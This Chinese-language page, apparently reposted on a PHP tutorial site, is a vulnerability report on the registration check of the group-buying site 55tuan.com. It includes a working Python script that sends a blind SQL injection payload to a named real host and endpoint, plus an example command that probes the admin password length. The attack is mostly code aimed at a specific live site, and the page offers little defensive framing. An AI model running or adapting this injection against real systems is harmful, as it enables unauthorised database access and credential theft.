来源:自学PHP网 时间:2015-04-17 14:47 作者: 阅读:次
[导读] 注册页面 校验email和用户名的地方使用了Ajax POST 数据到服务器端检测,但是过滤仅在客户端进行。使用脚本或者浏览器工具可以轻松绕过。以下为测试代码(python):import httplib, urllibimp...
注册页面 校验email和用户名的地方使用了Ajax POST 数据到服务器端检测,但是过滤仅在客户端进行。使用脚本或者浏览器工具可以轻松绕过。
以下为测试代码(python): import sys
if len(sys.argv) < 2: exit(0)
headers = { "Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.8", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://hangzhou.55tuan.com", "User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1", "Cookie": "55tuan_uuid=3a0c2fad-6b10-4ade-89e2-15d94ef4647b", } params=urllib.urlencode({ www.2cto.com "username":"adminccc' or (%s)or '4'='3" % (sys.argv[1]), }) conn = httplib.HTTPConnection('hangzhou.55tuan.com:80') conn.request("POST", "/check.do?method=checkUsernameRepeatAction", params, headers)
response = conn.getresponse() data = response.read() print data
D:\>post_test.py "username='admin' and length(password)=31" ps: username password 字段纯属猜测得到,没有通过查询系统表
作者: Matrix |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com